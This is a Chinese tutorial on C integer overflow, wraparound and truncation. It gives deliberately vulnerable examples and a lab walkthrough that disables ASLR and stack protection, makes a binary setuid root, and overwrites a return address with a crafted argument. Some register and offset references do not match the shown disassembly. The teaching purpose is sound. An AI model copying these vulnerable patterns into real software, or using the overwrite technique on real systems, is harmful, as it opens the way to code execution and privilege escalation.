整数安全
[TOC]
1. 什么是整数溢出
1.1 简介
在 C 语言基础的章节中,我们介绍了 C 语言整数的基础知识,下面我们详细介绍整数的安全问题。
由于整数在内存里面保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出。(x86-32 的数据模型是 ILP32,即整数(Int)、长整数(Long)和指针(Pointer)都是 32 位。)
1.2 整数溢出的危害
如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
2. 整数溢出
关于整数的异常情况主要有三种:
- 溢出
- 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
- 溢出标志
OF
可检测有符号数的溢出
- 回绕
- 无符号数
0-1
时会变成最大的数,如 1 字节的无符号数会变为255
,而255+1
会变成最小数0
。 - 进位标志
CF
可检测无符号数的回绕
- 无符号数
- 截断
- 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
2.1 有符号整数溢出
- 上溢出
int i;
i = INT_MAX; // 2 147 483 647
i++;
printf("i = %d\n", i); // i = -2 147 483 648
- 下溢出
i = INT_MIN; // -2 147 483 648
i--;
printf("i = %d\n", i); // i = 2 147 483 647
2.2 无符号数回绕
涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。
使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它:
unsigned int ui;
ui = UINT_MAX; // 在 x86-32 上为 4 294 967 295
ui++;
printf("ui = %u\n", ui); // ui = 0
ui = 0;
ui--;
printf("ui = %u\n", ui); // 在 x86-32 上,ui = 4 294 967 295
2.3 截断
- 加法截断:
0xffffffff + 0x00000001
= 0x0000000100000000 (long long)
= 0x00000000 (long)
- 乘法截断:
0x00123456 * 0x00654321
= 0x000007336BF94116 (long long)
= 0x6BF94116 (long)
2.4 整型提升和宽度溢出
整型提升是指当计算表达式中包含了不同宽度的操作数时,较小宽度的操作数会被提升到和较大操作数一样的宽度,然后再进行计算。
#include<stdio.h>
void main() {
int l;
short s;
char c;
l = 0xabcddcba;
s = l;
c = l;
printf("宽度溢出\n");
printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8);
printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8);
printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);
printf("整型提升\n");
printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8);
}
$ ./a.out
宽度溢出
l = 0xabcddcba (32 bits)
s = 0xffffdcba (16 bits)
c = 0xffffffba (8 bits)
整型提升
s + c = 0xffffdc74 (32 bits)
使用 gdb 查看反汇编代码:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000001169 <+0>: endbr64
0x000000000000116d <+4>: push rbp
0x000000000000116e <+5>: mov rbp,rsp
0x0000000000001171 <+8>: sub rsp,0x10
0x0000000000001175 <+12>: mov DWORD PTR [rbp-0x4],0xabcddcba
0x000000000000117c <+19>: mov eax,DWORD PTR [rbp-0x4]
0x000000000000117f <+22>: mov WORD PTR [rbp-0x6],ax
0x0000000000001183 <+26>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001186 <+29>: mov BYTE PTR [rbp-0x7],al
0x0000000000001189 <+32>: lea rdi,[rip+0xe74] # 0x2004
0x0000000000001190 <+39>: call 0x1060 <puts@plt>
0x0000000000001195 <+44>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001198 <+47>: mov edx,0x20
0x000000000000119d <+52>: mov esi,eax
0x000000000000119f <+54>: lea rdi,[rip+0xe6b] # 0x2011
0x00000000000011a6 <+61>: mov eax,0x0
0x00000000000011ab <+66>: call 0x1070 <printf@plt>
0x00000000000011b0 <+71>: movsx eax,WORD PTR [rbp-0x6]
0x00000000000011b4 <+75>: mov edx,0x10
0x00000000000011b9 <+80>: mov esi,eax
0x00000000000011bb <+82>: lea rdi,[rip+0xe63] # 0x2025
0x00000000000011c2 <+89>: mov eax,0x0
0x00000000000011c7 <+94>: call 0x1070 <printf@plt>
0x00000000000011cc <+99>: movsx eax,BYTE PTR [rbp-0x7]
0x00000000000011d0 <+103>: mov edx,0x8
0x00000000000011d5 <+108>: mov esi,eax
0x00000000000011d7 <+110>: lea rdi,[rip+0xe5b] # 0x2039
0x00000000000011de <+117>: mov eax,0x0
0x00000000000011e3 <+122>: call 0x1070 <printf@plt>
0x00000000000011e8 <+127>: lea rdi,[rip+0xe5e] # 0x204d
0x00000000000011ef <+134>: call 0x1060 <puts@plt>
0x00000000000011f4 <+139>: movsx edx,WORD PTR [rbp-0x6]
0x00000000000011f8 <+143>: movsx eax,BYTE PTR [rbp-0x7]
0x00000000000011fc <+147>: add eax,edx
0x00000000000011fe <+149>: mov edx,0x20
0x0000000000001203 <+154>: mov esi,eax
0x0000000000001205 <+156>: lea rdi,[rip+0xe4e] # 0x205a
0x000000000000120c <+163>: mov eax,0x0
0x0000000000001211 <+168>: call 0x1070 <printf@plt>
0x0000000000001216 <+173>: nop
0x0000000000001217 <+174>: leave
0x0000000000001218 <+175>: ret
End of assembler dump.
在整数转换的过程中,有可能导致下面的错误:
- 损失值:转换为值的大小不能表示的一种类型
- 损失符号:从有符号类型转换为无符号类型,导致损失符号
2.5 漏洞多发函数
我们说过整数溢出要配合上其他类型的缺陷才能有用,下面的两个函数都有一个 size_t
类型的参数,常常被误用而产生整数溢出,接着就可能导致缓冲区溢出漏洞。
#include <string.h>
void *memcpy(void *dest, const void *src, size_t n);
memcpy()
函数将 src
所指向的字符串中以 src
地址开始的前 n
个字节复制到 dest
所指的数组中,并返回 dest
。
#include <string.h>
char *strncpy(char *dest, const char *src, size_t n);
strncpy()
函数从源 src
所指的内存地址的起始位置开始复制 n
个字节到目标 dest
所指的内存地址的起始位置中。
两个函数中都有一个类型为 size_t
的参数,它是无符号整型的 sizeof
运算符的结果。
typedef unsigned int size_t;
3. 整数溢出示例
现在我们已经知道了整数溢出的原理和主要形式,下面我们先看几个简单示例,然后实际操作利用一个整数溢出漏洞。
3.1 示例
示例一,整数转换:
char buf[80];
void vulnerable() {
int len = read_int_from_network();
char *p = read_string_from_network();
if (len > 80) {
error("length too large: bad dog, no cookie for you!");
return;
}
memcpy(buf, p, len);
}
这个例子的问题在于,如果攻击者给 len
赋于了一个负数,则可以绕过 if
语句的检测,而执行到 memcpy()
的时候,由于第三个参数是 size_t
类型,负数 len
会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 buf
中,引发了缓冲区溢出。
示例二,回绕和溢出:
void vulnerable() {
size_t len;
// int len;
char* buf;
len = read_int_from_network();
buf = malloc(len + 5);
read(fd, buf, len);
...
}
这个例子看似避开了缓冲区溢出的问题,但是如果 len
过大,len+5
有可能发生回绕。比如说,在 x86-32 上,如果 len = 0xFFFFFFFF
,则 len+5 = 0x00000004
,这时 malloc()
只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 len
声明为有符号 int
类型,len+5
可能发生溢出)
示例三,截断:
void main(int argc, char *argv[]) {
unsigned short int total;
total = strlen(argv[1]) + strlen(argv[2]) + 1;
char *buf = (char *)malloc(total);
strcpy(buf, argv[1]);
strcat(buf, argv[2]);
...
}
这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 total
表示,则会发生截断,从而导致后面的缓冲区溢出。
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
validate_passwd(argv[1]);
}
上面的程序中 strlen()
返回类型是 size_t
,却被存储在无符号字符串类型中,任意超过无符号字符串最大上限值(256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5,成功绕过了 if
的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。
编译命令:
# echo 0> /proc/sys/kernel/randomize_va_space
$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$ sudo chown root vuln
$ sudo chgrp root vuln
$ sudo chmod +s vuln
使用 gdb 反汇编 validate_passwd
函数。==rdi,rsi,rdx,rcx,r8,r9==
gdb-peda$ disassemble validate_passwd
Dump of assembler code for function validate_passwd:
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push rbp ; 压入ebp
0x000000000000118e <+5>: mov rbp,rsp
0x0000000000001191 <+8>: sub rsp,0x20
0x0000000000001195 <+12>: mov QWORD PTR [rbp-0x18],rdi
0x0000000000001199 <+16>: mov rax,QWORD PTR [rbp-0x18]
0x000000000000119d <+20>: mov rdi,rax
0x00000000000011a0 <+23>: call 0x1090 <strlen@plt>
0x00000000000011a5 <+28>: mov BYTE PTR [rbp-0x1],al ; 将len存入[rbp-0x1]
0x00000000000011a8 <+31>: cmp BYTE PTR [rbp-0x1],0x3
0x00000000000011ac <+35>: jbe 0x11d5 <validate_passwd+76>
0x00000000000011ae <+37>: cmp BYTE PTR [rbp-0x1],0x8
0x00000000000011b2 <+41>: ja 0x11d5 <validate_passwd+76>
0x00000000000011b4 <+43>: lea rdi,[rip+0xe49] # 0x2004
0x00000000000011bb <+50>: call 0x1080 <puts@plt>
0x00000000000011c0 <+55>: mov rdx,QWORD PTR [rbp-0x18]
0x00000000000011c4 <+59>: lea rax,[rbp-0xc] ; 取passwd_buf地址
0x00000000000011c8 <+63>: mov rsi,rdx ; 传入参数passwd_buf
0x00000000000011cb <+66>: mov rdi,rax
0x00000000000011ce <+69>: call 0x1070 <strcpy@plt>
0x00000000000011d3 <+74>: jmp 0x11e2 <validate_passwd+89>
0x00000000000011d5 <+76>: lea rdi,[rip+0xe2e] # 0x200a
0x00000000000011dc <+83>: call 0x1080 <puts@plt>
0x00000000000011e1 <+88>: nop
0x00000000000011e2 <+89>: nop
0x00000000000011e3 <+90>: leave
0x00000000000011e4 <+91>: ret
End of assembler dump.
通过阅读反汇编代码,我们知道缓冲区 passwd_buf
位于 rbp-0xc
的位置(0x00000000000011c4<+71>: lea eax,[rbp-0xc]
),而返回地址在 rbp+8
的位置,所以返回地址相对于缓冲区 0x14
的位置。我们测试一下:
gef$ r `python2 -c 'print "A"*20 + "B"*8 + "C"*233'`
Starting program: /home/sakura/文档/vuln `python2 -c 'print "A"*20 + "B"*8 + "C"*233'`
good!
可以看到 EIP
被 BBBBBBBB
覆盖,相当于我们获得了返回地址的控制权。